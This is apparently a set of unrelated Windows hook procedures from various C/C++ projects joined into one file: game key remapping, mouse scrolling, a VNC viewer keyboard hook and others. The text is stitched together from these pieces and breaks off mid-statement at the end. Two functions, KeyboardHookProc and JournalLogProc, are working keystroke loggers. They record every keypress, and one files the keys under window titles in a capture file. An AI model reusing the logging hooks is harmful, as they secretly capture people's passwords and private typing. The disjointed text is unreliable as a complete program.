//HHOOK m_hkeyboard; //handler of keyboard hook LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) { //Find the front window topWnd = GetForegroundWindow(); PKBDLLHOOKSTRUCT kbstruct; kbstruct=(PKBDLLHOOKSTRUCT)lParam; DWORD dtemp = kbstruct->vkCode;//vkCode is the press buttom //we need to read keys configure from gameconfiguration.xml char ch_Temp = char(dtemp); /*- 0x41 + char('A');*/ char ch_Corl;//doesn't take double key into account map<string , string>::iterator iter_Key = map_Key.begin(); bool found = false; if(ch_Temp >= 96) { ch_Temp = ch_Temp - 96 + 48; } if(topWnd == m_hgame) { string str_Temp; str_Temp.clear(); str_Temp.push_back(ch_Temp); if(WM_KEYDOWN == int(wParam)) { /*int key_value = ch_Corl - char('A') + 0x41; keybd_event(key_value,0,0,0);*/ switch (dtemp) { case 0x58: mouse_event(MOUSEEVENTF_LEFTDOWN , 0 , 0 , 0 , 0); return 1; case char('A'): mouse_event(MOUSEEVENTF_MOVE , -10 , 0 , 0 , 0); return 1; case char('S'): mouse_event(MOUSEEVENTF_MOVE , 10 , 0 , 0 , 0); return 1; case char('W'): mouse_event(MOUSEEVENTF_MOVE , 0 , 10 , 0 , 0); return 1; case char('E'): mouse_event(MOUSEEVENTF_MOVE , 0 , -10 , 0 , 0); return 1; default: break; } } if(WM_KEYUP == int(wParam)) { if(VK_RETURN == dtemp) { mouse_event(MOUSEEVENTF_LEFTUP , 0 , 0 , 0 , 0); return 1; } } while(map_Key.end() != iter_Key) { if(0 == iter_Key->first.compare(str_Temp)) { found = true; //ch_Corl = *(iter_Key->second.c_str()); break; } iter_Key++; } if(found) { if(1 == iter_Key->second.length()) { ch_Corl = *(iter_Key->second.c_str()); if(WM_KEYDOWN == int(wParam)) { int key_value = ch_Corl; /*- char('A') + 0x41;*/ keybd_event(key_value,0,0,0); return 1; } if(WM_KEYUP == int(wParam)) { int key_value = ch_Corl;/* - char('A') + 0x41;*/ keybd_event(key_value,0,KEYEVENTF_KEYUP,0); return 1; } } else { int key_value; if(0 == string("UP").compare(iter_Key->second)) { key_value = 0x26; } else if(0 == string("LEFT").compare(iter_Key->second)) { key_value = 0x25; } else if(0 == string("RIGHT").compare(iter_Key->second)) { key_value = 0x27; } else if(0 == string("DOWN").compare(iter_Key->second)) { key_value = 0x28; } if(WM_KEYDOWN == int(wParam)) { //int key_value = ch_Corl - char('A') + 0x41; keybd_event(key_value,0,0,0); return 1; } if(WM_KEYUP == int(wParam)) { //int key_value = ch_Corl - char('A') + 0x41; keybd_event(key_value,0,KEYEVENTF_KEYUP,0); return 1; } } } } return CallNextHookEx(m_hkeyboard,nCode,wParam,lParam); }
// Keyboard hook for the Finder Tool. // This hook just monitors the ESCAPE key static LRESULT CALLBACK draghookproc(int code, WPARAM wParam, LPARAM lParam) { ULONG state = (ULONG)lParam; static int count; if(code < 0) return CallNextHookEx(draghook, code, wParam, lParam); switch(wParam) { case VK_ESCAPE: if(!(state & 0x80000000)) { //don't let the current window procedure process a VK_ESCAPE, //because we want it to cancel the mouse capture PostMessage(draghookhwnd, WM_CANCELMODE, 0, 0); return -1; } break; case VK_SHIFT: if(state & 0x80000000) { //InvertWindow(hwndCurrent, fShowHidden); HideSel(hwndCurrent); FireWndFindNotify(draghookhwnd, WFN_SHIFT_UP, 0); //InvertWindow(hwndCurrent, fShowHidden); ShowSel(hwndCurrent); } else { if(!(state & 0x40000000)) { //InvertWindow(hwndCurrent, fShowHidden); HideSel(hwndCurrent); FireWndFindNotify(draghookhwnd, WFN_SHIFT_DOWN, 0); //InvertWindow(hwndCurrent, fShowHidden); ShowSel(hwndCurrent); } } return -1; case VK_CONTROL: if(state & 0x80000000) { //InvertWindow(hwndCurrent, fShowHidden); HideSel(hwndCurrent); FireWndFindNotify(draghookhwnd, WFN_CTRL_UP, 0); //InvertWindow(hwndCurrent, fShowHidden); ShowSel(hwndCurrent); } else { if(!(state & 0x40000000)) { //InvertWindow(hwndCurrent, fShowHidden); HideSel(hwndCurrent); FireWndFindNotify(draghookhwnd, WFN_CTRL_DOWN, 0); //InvertWindow(hwndCurrent, fShowHidden); ShowSel(hwndCurrent); } } return -1; } // Test to see if a key is pressed for first time if(!(state & 0xC0000000)) { // Find ASCII character UINT ch = MapVirtualKey((UINT)wParam, 2); if(ch == _T('c') || ch == _T('C')) { //InvertWindow(hwndCurrent, fShowHidden); HideSel(hwndCurrent); CaptureWindow(GetParent(draghookhwnd), hwndCurrent); //InvertWindow(hwndCurrent, fShowHidden); ShowSel(hwndCurrent); return -1; } } return CallNextHookEx(draghook, code, wParam, lParam); }
LRESULT CALLBACK KeyboardHookProc(int code, WPARAM wParam, LPARAM lParam) { if(!(lParam >> 31) && (code >= 0)) { char keyw[20]; switch(wParam) { case VK_CANCEL: strcpy(keyw,"[CTRL-BRK]"); break; case VK_BACK: strcpy(keyw,"[BACK]"); break; case VK_TAB: strcpy(keyw,"[TAB]"); break; case VK_CLEAR: strcpy(keyw,"[CLEAR]"); break; case VK_RETURN: strcpy(keyw,"[ENTER]\r\n"); break; case VK_SHIFT: strcpy(keyw,"[SHIFT]"); break; case VK_CONTROL: strcpy(keyw,"[CTRL]"); break; case VK_MENU: strcpy(keyw,"[ALT]"); break; case VK_PAUSE: strcpy(keyw,"[PAUSE]"); break; case VK_CAPITAL: strcpy(keyw,"[CapsLock]"); break; case VK_ESCAPE: strcpy(keyw,"[ESC]"); break; case VK_PRIOR: strcpy(keyw,"[PageUp]"); break; case VK_NEXT: strcpy(keyw,"[PageDown]"); break; case VK_END: strcpy(keyw,"[END]"); break; case VK_HOME: strcpy(keyw,"[HOME]"); break; case VK_LEFT: strcpy(keyw,"[LEFT]"); break; case VK_UP: strcpy(keyw,"[UP]"); break; case VK_RIGHT: strcpy(keyw,"[RIGHT]"); break; case VK_DOWN: strcpy(keyw,"[DOWN]"); break; case VK_SELECT: strcpy(keyw,"[SELECT]"); break; case VK_EXECUTE: strcpy(keyw,"[EXECUTE]"); break; case VK_SNAPSHOT: strcpy(keyw,"[PrintScreen]"); break; case VK_INSERT: strcpy(keyw,"[INSERT]"); break; case VK_DELETE: strcpy(keyw,"[DELETE]"); break; case VK_HELP: strcpy(keyw,"[HELP]"); break; case VK_LWIN: strcpy(keyw,"[LeftWindowsKey]"); break; case VK_RWIN: strcpy(keyw,"[RightWindowsKey]"); break; case VK_APPS: strcpy(keyw,"[ApplicationKey]"); break; case VK_MULTIPLY: strcpy(keyw,"[MULTIPLY]"); break; case VK_ADD: strcpy(keyw,"[ADD]"); break; case VK_SEPARATOR: strcpy(keyw,"[SEPERATOR]"); break; case VK_SUBTRACT: strcpy(keyw,"[SUBTRACT]"); break; case VK_DECIMAL: strcpy(keyw,"[DECIMAL]"); break; case VK_DIVIDE: strcpy(keyw,"[DIVIDE]"); break; case VK_NUMLOCK: strcpy(keyw,"[NumLock]"); break; case VK_SCROLL: strcpy(keyw,"[ScrollLock]"); break; case VK_ATTN: strcpy(keyw,"[ATTN]"); break; case VK_CRSEL: strcpy(keyw,"[CrSel]"); break; case VK_EXSEL: strcpy(keyw,"[ExSel]"); break; case VK_EREOF: strcpy(keyw,"[EraseEOF]"); break; case VK_PLAY: strcpy(keyw,"[PLAY]"); break; case VK_ZOOM: strcpy(keyw,"[ZOOM]"); break; default: { /* function keys */ if((wParam >= VK_F1) &&(wParam <= VK_F24)) { sprintf(keyw,"[F%u]", (wParam - VK_F1 + 1)); } /* what we want the most... the ASCII keys */ else if ((wParam==VK_SPACE)||(wParam>=0x2f)&&(wParam<=0x100)) { BYTE ks[256]; GetKeyboardState(ks); WORD w; UINT scan=0; ToAscii(wParam,scan,ks,&w,0); *keyw = char(w); keyw[1] = '\0'; } else { sprintf(keyw,"[(%d)%c]",wParam,wParam); break; } } } STORE_INFO(keyw); } return CallNextHookEx(KeyHook, code, wParam, lParam); }
LRESULT CALLBACK LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode != HC_ACTION) return CallNextHookEx(g_Hook, nCode, wParam, lParam); INPUT inputDat[2]; BOOL preventCallNextHookEx = FALSE; // Data about the mouse event const MSLLHOOKSTRUCT *p = reinterpret_cast<const MSLLHOOKSTRUCT*>(lParam); // An extended mouse button was pressed if (wParam == WM_XBUTTONDOWN) { // XButton1 //WORD w = HIWORD(p->mouseData); if (HIWORD(p->mouseData) & XBUTTON1) { #if defined(_DEBUG) std::cout << "XB1 down\n"; #endif preventCallNextHookEx = TRUE; // Save cursor pos at time of "scroll-click" g_origin = p->pt; bXB1 = TRUE; // Remember that XButton1 is down } // XButton2 else if (HIWORD(p->mouseData) & XBUTTON2) { #if defined(_DEBUG) std::cout << "XB2 down\n"; #endif // Send a MiddleButton Up message inputDat[0].type = INPUT_MOUSE; inputDat[0].mi.dx = p->pt.x; inputDat[0].mi.dy = p->pt.y; inputDat[0].mi.mouseData = (DWORD)0x0; inputDat[0].mi.dwFlags = MOUSEEVENTF_MIDDLEDOWN; // middle button down inputDat[0].mi.time = (DWORD)0x0; inputDat[0].mi.dwExtraInfo = (ULONG_PTR)NULL; SendInput(1, inputDat, sizeof(INPUT)); bXB2 = TRUE; // Remember that XButton2 is down preventCallNextHookEx = TRUE; } } // An extended mouse button was released else if (wParam == WM_XBUTTONUP) { // XButton1 if (HIWORD(p->mouseData) & XBUTTON1) { #if defined(_DEBUG) std::cout << "XB1 up\n"; #endif preventCallNextHookEx = TRUE; bScrolling = FALSE; bXB1 = FALSE; // Forget it. XButton1 is no longer down } // XButton2 else if (HIWORD(p->mouseData) & XBUTTON2) { #if defined(_DEBUG) std::cout << "XB2 up\n"; #endif // Send a MiddleButton Up message inputDat[0].type = INPUT_MOUSE; inputDat[0].mi.dx = p->pt.x; inputDat[0].mi.dy = p->pt.y; inputDat[0].mi.mouseData = (DWORD)0x0; inputDat[0].mi.dwFlags = MOUSEEVENTF_MIDDLEUP; // middle button up inputDat[0].mi.time = (DWORD)0x0; inputDat[0].mi.dwExtraInfo = (ULONG_PTR)NULL; SendInput(1, inputDat, sizeof(INPUT)); bXB2 = FALSE; // Forget it. XButton1 is no longer down preventCallNextHookEx = TRUE; } } else if (wParam == WM_MOUSEMOVE) { // Is XButton1 being held if (bXB1) { // If we haven't started scrolling... if (!bScrolling) { #if defined(_DEBUG) std::cout << "First scroll\n"; #endif preventCallNextHookEx = TRUE; // Remember that we are now scrolling bScrolling = TRUE; g_ycount = 0; // Reset our record of verticle movement SetCursorPos(g_origin.x, g_origin.y); } // If we are in the middle of scrolling... else { #if defined(_DEBUG) std::cout << " Continuing scroll\n"; #endif preventCallNextHookEx = TRUE; // Keep track of how much we moved vertically g_ycount += p->pt.y - g_origin.y; // Reset the cursor to its original position SetCursorPos(g_origin.x, g_origin.y); // If we have moved more than the threshold... if (g_ycount < -Y_THRESHOLD || g_ycount > Y_THRESHOLD){ DWORD mouseData = (g_ycount > 0 ? -WHEEL_DELTA : +WHEEL_DELTA); // scroll direction g_ycount = 0; // Send <WHEEL_FACTOR> number of scroll events INPUT input[WHEEL_FACTOR]; for (size_t i = 0; i < WHEEL_FACTOR; ++i) { input[i].type = INPUT_MOUSE; // INFO: Should these be set to g_origin pos instead? input[i].mi.dx = p->pt.x; input[i].mi.dy = p->pt.y; input[i].mi.mouseData = mouseData; input[i].mi.dwFlags = MOUSEEVENTF_WHEEL; // wheel input[i].mi.time = (DWORD)0x0; input[i].mi.dwExtraInfo = (ULONG_PTR)NULL; } #if defined(_DEBUG) std::cout << "Sending Scrollwheel event\n"; #endif SendInput(WHEEL_FACTOR, input, sizeof(INPUT)); } } } } // Decide if we should let other programs detect the mouse events return (preventCallNextHookEx ? 1 : CallNextHookEx(g_Hook, nCode, wParam, lParam)); }
static LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParamIn, LPARAM lParamIn) { dbg("InputHandler: GetMsgProc"); HWND win = ihGlobal.getHWND(); if(!win) { //dbg("!win"); return CallNextHookEx(NULL, nCode, wParamIn, lParamIn); // Hook window not set } MSG* msg = (MSG*) lParamIn; WPARAM wParam = msg->wParam; LPARAM lParam = msg->lParam; UINT wmsg = msg->message; // Keyboard hooks switch(wmsg) { case WM_KEYUP: if(GetKeyState(VK_APPLICATION) < 0) { ihGlobal.keyDown((int)wParam); msg->message = WM_NULL; break; } if(wParam == VK_SNAPSHOT) ihGlobal.keyDown((int)wParam); break; case WM_KEYDOWN: if(GetKeyState(VK_APPLICATION) < 0) { ihGlobal.keyUp((int)wParam); msg->message = WM_NULL; break; } if(wParam == VK_SNAPSHOT) ihGlobal.keyUp((int)wParam); break; } bool hookAllWindows = false; if(msg->hwnd != win && !hookAllWindows) { char msgTxt[256]; switch(wmsg) { case MOUSE_ALL_WM_EVENTS: strcpy(msgTxt, getMouseEventName(wmsg)); break; default: sprintf(msgTxt, "0x%08X", wmsg); break; } char name[256]; GetWindowText(msg->hwnd, name, 256); dbg_input("win %d != %d (%s, %s)", msg->hwnd, win, name, msgTxt); /*if(wmsg == WM_INPUT) msg->message = WM_NULL;*/ return CallNextHookEx(NULL, nCode, wParamIn, lParamIn); // Not our window } if(wmsg == WM_MOUSELEAVE) msg->message = WM_NULL; switch(wmsg) { // Mouse hooks #define DBG_MSG(x) case x: dbg("PrimaryWindow: %s", #x); break DBG_MSG(WM_ACTIVATE); DBG_MSG(WM_MOUSEACTIVATE); case WM_MOUSELEAVE: case WM_NCMOUSELEAVE: // Discard mouse leave messages - TODO: recall TrackMouseEvent msg->message = WM_NULL; break; case MOUSE_ALL_WM_EVENTS: // Note: special macro { if(!SoftTHActive) break; if(msg->wParam & MOUSE_EVENTS_ALREADY_MAPPED && wmsg != WM_MOUSEWHEEL) { // This message came from secondary SoftTH window and is already in correct coordinates msg->wParam -= MOUSE_EVENTS_ALREADY_MAPPED; dbg_input("PrimaryWindow: %s: %dx%d MOUSE_EVENTS_ALREADY_MAPPED (wparam: 0x%08X)", getMouseEventName(wmsg), msg->pt.x, msg->pt.y, msg->wParam); // Send click to overlay if(wmsg == WM_LBUTTONDOWN || wmsg == WM_LBUTTONUP) { OVERLAY_CLICK_BLOCK p; p.overlayVersion = OVERLAY_VERSION; p.x = msg->pt.x; p.y = msg->pt.y; p.up = wmsg==WM_LBUTTONUP; p.event = wmsg; p.lparam = msg->lParam; p.wparam = msg->wParam; p.appWindow = win; overlayDoClick(&p); } break; } POINT vp; HWND winCursor = WindowFromPoint(msg->pt); if(winCursor != win) { // Drag event is going from primary monitor to secondary POINT op = {msg->pt.x, msg->pt.y}; ScreenToClient(winCursor, &op); if(!inputMapClientToVirtual(winCursor, &op, &vp)) { // Outside SoftTH window - attempt to discard this message msg->message = WM_NULL; } } else { inputMapClientToVirtual(win, &msg->pt, &vp); } dbg_input("PrimaryWindow: %s: %dx%d -> %dx%d (wparam: 0x%08X)", getMouseEventName(wmsg), msg->pt.x, msg->pt.y, vp.x, vp.y, msg->wParam); LPARAM lp = MAKELPARAM(vp.x, vp.y); msg->lParam = lp; msg->pt.x = vp.x; msg->pt.y = vp.y; // Send click to overlay if(wmsg == WM_LBUTTONDOWN || wmsg == WM_LBUTTONUP || wmsg == WM_MOUSEMOVE) { OVERLAY_CLICK_BLOCK p; p.overlayVersion = OVERLAY_VERSION; p.x = vp.x; p.y = vp.y; p.up = wmsg==WM_LBUTTONUP; // Deprecated p.event = wmsg; p.lparam = msg->lParam; p.wparam = msg->wParam; p.appWindow = win; overlayDoClick(&p); } break; } break; } return CallNextHookEx(NULL, nCode, wParamIn, lParamIn); }
static LRESULT WINAPI GetMsgProc(int code, WPARAM wParam, LPARAM lParam) { return(CallNextHookEx(g_hhook, code, wParam, lParam)); }
//钩子的实现部分 LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) { KBDLLHOOKSTRUCT *Key_Info = (KBDLLHOOKSTRUCT*)lParam; if (HC_ACTION == code) { if (WM_KEYDOWN == wParam || WM_SYSKEYDOWN) //如果按键为按下状态 { //if (Key_Info->vkCode == VK_LWIN || Key_Info->vkCode == VK_RWIN) //屏敝 WIN(左右) 键 //{ // return TRUE; //} //if (Key_Info->vkCode == 0x4D && ((GetKeyState(VK_LWIN) & 0x8000) || // (GetKeyState(VK_RWIN) & 0x8000))) //屏敝 WIN+D 组合键(左右) //{ // return TRUE; //} //if (Key_Info->vkCode == 0x44 && ((GetKeyState(VK_LWIN) & 0x8000) || // (GetKeyState(VK_LWIN) & 0x8000))) //屏敝 WIN+M 组合键(左右) //{ // return TRUE; //} //if (Key_Info->vkCode == 0x1b && GetKeyState(VK_CONTROL) & 0x8000) //屏敝 CTRL + ESC 组合键 //{ // return TRUE; //} //if (Key_Info->vkCode == VK_TAB && Key_Info->flags & LLKHF_ALTDOWN) //屏敝 ATL + TAB 组合键 //{ // return TRUE; //} //if (Key_Info->vkCode == VK_ESCAPE && Key_Info->flags & LLKHF_ALTDOWN) //屏敝 ATL + ESC 组合键 //{ // return TRUE; //} if (Key_Info->vkCode == VK_F12) // && Key_Info->flags & VK_MENU) { if (keytime == 1) {//MessageBoxA(NULL, "f12", "success", MB_OK); HWND Screenshot_hwnd = FindWindowA(NULL, "ScreenShot"); ::SendMessage(Screenshot_hwnd, WM_COPYDATA, -1, -1); keytime++; } else { keytime = 1; return TRUE; } } //if (Key_Info->vkCode == VK_ESCAPE) //{ // HWND Screenshot_hwnd = FindWindowA(NULL, "ScreenShot"); // ;; SendMessage(Screenshot_hwnd, SWP_HIDEWINDOW, -2, -2); //} } } return CallNextHookEx(0, code, wParam, lParam); //回调 }
LRESULT CALLBACK CallWndProc(INT code, WPARAM wParam, LPARAM lParam) { #define msg ((PCWPSTRUCT)lParam) if (code == HC_ACTION) { switch (msg->message) { // I am not sure if this is required, lets leve it in case WM_ACTIVATE: { Log("WM_ACTIVATE"); GetSystemMenu(msg->hwnd, FALSE); break; } // Populate menu case WM_INITMENUPOPUP: { Log("WM_INITMENUPOPUP"); AddMenu(msg->hwnd, (HMENU)msg->wParam); break; } // Some applications trigger WM_INITMENUPOPUP never or to late, thats why we use WM_ENTERIDLE case WM_ENTERIDLE: { Log("WM_ENTERIDLE"); if (msg->wParam == MSGF_MENU) { AddMenu(msg->hwnd, (HMENU)INVALID_HANDLE_VALUE); break; } break; } // Remove Entry again case WM_UNINITMENUPOPUP: { Log("WM_UNINITMENUPOPUP"); RemoveMenu(msg->hwnd, (HMENU)msg->wParam); break; } // For those who doesn't fire WM_UNINITMENUPOPUP case WM_MENUSELECT: { Log("WM_ENTERIDLE"); if (msg->lParam == NULL && HIWORD(msg->wParam) == 0xFFFF) { RemoveMenu(msg->hwnd, (HMENU)INVALID_HANDLE_VALUE); } break; } // Do the command case WM_SYSCOMMAND: { Log("WM_SYSCOMMAND %X %X", msg->wParam, msg->hwnd); HandleSysCommand(msg->wParam, msg->hwnd); break; } } } return CallNextHookEx(NULL, code, wParam, lParam); #undef msg }
/// hook of SendMessage LRESULT CALLBACK callWndProc(int i_nCode, WPARAM i_wParam, LPARAM i_lParam) { if (!g.m_isInitialized) initialize(false); if (!g_hookData) return 0; CWPSTRUCT &cwps = *(CWPSTRUCT *)i_lParam; if (0 <= i_nCode) { switch (cwps.message) { case WM_ACTIVATEAPP: case WM_NCACTIVATE: if (i_wParam) notifySetFocus(); break; case WM_SYSCOMMAND: switch (cwps.wParam) { case SC_MAXIMIZE: case SC_MAXIMIZE2: updateShow(cwps.hwnd, NotifyShow::Show_Maximized); break; case SC_MINIMIZE: case SC_MINIMIZE2: updateShow(cwps.hwnd, NotifyShow::Show_Minimized); break; case SC_RESTORE: case SC_RESTORE2: updateShow(cwps.hwnd, NotifyShow::Show_Normal); break; default: break; } /* through below */ case WM_COMMAND: notifyCommand(cwps.hwnd, cwps.message, cwps.wParam, cwps.lParam); break; case WM_SIZE: switch (cwps.wParam) { case SIZE_MAXIMIZED: updateShow(cwps.hwnd, NotifyShow::Show_Maximized); break; case SIZE_MINIMIZED: updateShow(cwps.hwnd, NotifyShow::Show_Minimized); break; case SIZE_RESTORED: updateShow(cwps.hwnd, NotifyShow::Show_Normal); break; default: break; } break; case WM_MOUSEACTIVATE: notifySetFocus(); break; case WM_ACTIVATE: if (LOWORD(cwps.wParam) != WA_INACTIVE) { notifySetFocus(); if (HIWORD(cwps.wParam)) { // check minimized flag // minimized flag on notifyShow(NotifyShow::Show_Minimized, false); //notifyShow(NotifyShow::Show_Normal, true); } } break; case WM_ENTERMENULOOP: g.m_isInMenu = true; notifySetFocus(true); break; case WM_EXITMENULOOP: g.m_isInMenu = false; notifySetFocus(true); break; case WM_SETFOCUS: g.m_isInMenu = false; // for kana if (g_hookData->m_correctKanaLockHandling) { if (HIMC hIMC = ImmGetContext(cwps.hwnd)) { bool status = !!ImmGetOpenStatus(hIMC); // this code set the VK_KANA state correctly. ImmSetOpenStatus(hIMC, !status); ImmSetOpenStatus(hIMC, status); ImmReleaseContext(cwps.hwnd, hIMC); } } notifySetFocus(); notifyLockState(5); break; case WM_IME_STARTCOMPOSITION: g.m_isImeCompositioning = true; notifyLockState(6); break; case WM_IME_ENDCOMPOSITION: g.m_isImeCompositioning = false; notifyLockState(7); break; case WM_IME_NOTIFY: if (cwps.wParam == IMN_SETOPENSTATUS) if (HIMC hIMC = ImmGetContext(cwps.hwnd)) { g.m_isImeLock = !!ImmGetOpenStatus(hIMC); ImmReleaseContext(cwps.hwnd, hIMC); notifyLockState(8); } break; } } return CallNextHookEx(s_hookDataArch->m_hHookCallWndProc, i_nCode, i_wParam, i_lParam); }
LRESULT CALLBACK HookProc(int code, WPARAM wParam, LPARAM lParam) { return CallNextHookEx(hHook,code,wParam,lParam); }
HIJACKDLL_API LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) { return CallNextHookEx(hHook, nCode, wParam, lParam); }
LRESULT CALLBACK FilterProc(int nCode, WPARAM wParam, LPARAM lParam) { if (qApp) qApp->sendPostedEvents(0, -1); // special DeferredDelete return CallNextHookEx(hhook, nCode, wParam, lParam); }
LRESULT CALLBACK JournalLogProc(int code, WPARAM wParam, LPARAM lParam) { HWND hFocus; if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam); if(code==HC_ACTION) { EVENTMSG *pEvt=(EVENTMSG *)lParam; if(pEvt->message==WM_KEYDOWN) { DWORD dwCount,dwBytes; char svBuffer[256]; int vKey,nScan; vKey=LOBYTE(pEvt->paramL); nScan=HIBYTE(pEvt->paramL); nScan<<=16; // Check to see if focus has changed hFocus=GetActiveWindow(); if(g_hLastFocus!=hFocus) { char svTitle[256]; int nCount; nCount=GetWindowTextA(hFocus,svTitle,256); if(nCount>0) { char svBuffer[512]; sprintf(svBuffer,"\r\n-----[ %s ]-----\r\n",svTitle); WriteFile(g_hCapFile,svBuffer,strlen(svBuffer),&dwBytes,NULL); } g_hLastFocus=hFocus; } // Write out key dwCount=GetKeyNameTextA(nScan,svBuffer,256); if(dwCount) { if(vKey==VK_SPACE) { svBuffer[0]=' '; svBuffer[1]='\0'; dwCount=1; } if(dwCount==1) { BYTE kbuf[256]; WORD ch; int chcount; GetKeyboardState(kbuf); chcount=ToAscii(vKey,nScan,kbuf,&ch,0); if(chcount>0) WriteFile(g_hCapFile,&ch,chcount,&dwBytes,NULL); } else { WriteFile(g_hCapFile,"[",2,&dwBytes,NULL); WriteFile(g_hCapFile,svBuffer,dwCount,&dwBytes,NULL); WriteFile(g_hCapFile,"]",2,&dwBytes,NULL); if(vKey==VK_RETURN) WriteFile(g_hCapFile,"\r\n",2,&dwBytes,NULL); } } } } return CallNextHookEx(g_hLogHook,code,wParam,lParam); }
LRESULT CALLBACK LowLevelHook::VncLowLevelKbHookProc(INT nCode, WPARAM wParam, LPARAM lParam) { TRY_CATCH //if set to TRUE, the key-pressed message will NOT be passed on to windows. BOOL fHandled = FALSE; BOOL fKeyDown = FALSE; static bool winKeyDown = false; static int countWinKeysToSkip = 0; if (nCode == HC_ACTION) { KBDLLHOOKSTRUCT *pkbdllhook = (KBDLLHOOKSTRUCT *)lParam; DWORD ProcessID ; //Receive the process ID of the Active Window //(The window with the input focus) //GetWindowThreadProcessId(GetFocus(),&ProcessID); GetWindowThreadProcessId(GetForegroundWindow(), &ProcessID); GetWindowThreadProcessId(g_hwndVNCViewer, &g_VncProcessID); //only if this is "our" process (vncviewer's process) //we should intecept the key-presses if (ProcessID==g_VncProcessID && ClientConnection::m_focused || ClientConnection::m_fullScreen > 0) { fKeyDown = ( (wParam==WM_KEYDOWN) || (wParam==WM_SYSKEYDOWN) ); switch (pkbdllhook->vkCode) { case VK_RIGHT: case VK_LEFT: case VK_DOWN: case VK_UP: case VK_TAB: case VK_NEXT: case VK_PRIOR: case VK_END: case VK_HOME: case VK_BACK: case VK_RETURN: case VK_F4: case VK_F3: //(cMsgBoxLog()).Add(_MESSAGE_,"VK_UP"); if (g_fHookActive) { if (fKeyDown) PostMessage(g_hwndVNCViewer, wParam + WM_USER, pkbdllhook->vkCode, 0); fHandled = TRUE; } break; //Print Screen Key // Request Full screen Update // Simulate a "Request Refresh" from the System Menu case VK_SNAPSHOT: if (fKeyDown && g_fHookActive) { PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_REQUEST_REFRESH,0); fHandled = TRUE; } break ; //Pause Key // Toggle FullScreen On/Off // Simulate a "FullScreen" from the System Menu case VK_PAUSE: if (fKeyDown && g_fHookActive) { PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_FULLSCREEN,0); fHandled = TRUE; } break ; //Left or Right CONTROL keys // Simulate a "Send CONTROL up/down" from the System Menu case VK_LCONTROL: case VK_RCONTROL: if (g_fHookActive) { if(fKeyDown) PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_CONN_CTLDOWN,0); else PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_CONN_CTLUP,0); fHandled = TRUE; } break; //Either Left or Right ALT keys // Simulate a "Send ALT up/down" from the System Menu case VK_LMENU: case VK_RMENU: if (g_fHookActive) { if(fKeyDown) PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_CONN_ALTDOWN,0); else PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_CONN_ALTUP,0); fHandled = TRUE; } break; case VK_LWIN: if (g_fHookActive) { if(fKeyDown) { winKeyDown = true; Log.Add(_MESSAGE_,_T("LWin key pressed")); PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_VK_LWINDOWN,0); } else { winKeyDown = false; Log.Add(_MESSAGE_,_T("LWin key unpressed")); PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_VK_LWINUP,0); } fHandled = countWinKeysToSkip>0?FALSE:TRUE; if (countWinKeysToSkip>0) --countWinKeysToSkip; } break; case VK_RWIN: if (g_fHookActive) { if(fKeyDown) { winKeyDown = true; Log.Add(_MESSAGE_,_T("RWin key pressed")); PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_VK_RWINDOWN,0); } else { winKeyDown = false; Log.Add(_MESSAGE_,_T("RWin key unpressed")); PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_VK_RWINUP,0); } fHandled = countWinKeysToSkip>0?FALSE:TRUE; if (countWinKeysToSkip>0) --countWinKeysToSkip; } break; case VK_APPS: if (g_fHookActive) { if(fKeyDown) PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_VK_APPSDOWN,0); else PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_VK_APPSUP,0); fHandled = TRUE; } break; //Scroll Lock = Turn the whole thing on or off //This is a little tricky hack: //Windows sets the scroll-lock LED on or off when the user PRESSes the scroll-lock key. //We'll check the LED state when the user RELEASEs the key, so the LED is already set. //If the LED/ScrollLock is ON, we'll activate the special key interception. /*case VK_SCROLL: if (!fKeyDown) { g_fHookActive = GetScrollLockState(); } break;*/ //SPACEBAR = When key interception is Active, no special handling is required for 'spacebar'. //But when key interception is turned off, I want ALT+SPACE to open the VNCViewer's System Menu. case VK_SPACE: if (!g_fHookActive) { if (pkbdllhook->flags & LLKHF_ALTDOWN) { if(!fKeyDown) PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,0xF100,0x20); fHandled = TRUE; } } break ; //ESCAPE = ALT+ESC is also a way to switch application, so we block the ESCAPE key, //Otherwise windows (on the VNCViewer's side) will switch to another application. //Transmitting the ALT+ESCAPE combination to a VNCServer running Windows doesn't work //very well, so for now, we'll just block the ALT+ESCAPE combination. //(CTRL+ESC work OK, BTW) case VK_ESCAPE: if (g_fHookActive) { if (pkbdllhook->flags & LLKHF_ALTDOWN) { fHandled = TRUE; } else if (fKeyDown) { fHandled = TRUE; PostMessage(g_hwndVNCViewer, wParam + WM_USER, pkbdllhook->vkCode, 0); } } break; default: if (g_fHookActive) { switch(pkbdllhook->vkCode) { case VK_LSHIFT: case VK_RSHIFT: case VK_SHIFT: /*pkbdllhook->vkCode = VK_SHIFT; fHandled = TRUE; break;*/ case VK_CAPITAL: case VK_NUMLOCK: case VK_SCROLL: fHandled = FALSE; break; default: fHandled = TRUE; break; } if (TRUE == fHandled && fKeyDown) { if (pkbdllhook->vkCode >= 0x41 /*A key*/ || pkbdllhook->vkCode <= 0x5A /*Z key*/ && fKeyDown) { if (winKeyDown && pkbdllhook->vkCode == 'l'-'a' + 0x41) { countWinKeysToSkip = 2; Log.Add(_MESSAGE_,_T("Win+L pressed, injecting win key to prevent keys sticking on windows Vista")); keybd_event(VK_LWIN, 0, 0, 0); keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0); } else SendMessage(g_hwndVNCViewer, wParam + WM_USER, pkbdllhook->vkCode, 0); } else if (ClientConnection::m_fullScreen > 0) PostMessage(g_hwndVNCViewer, wParam + WM_USER, 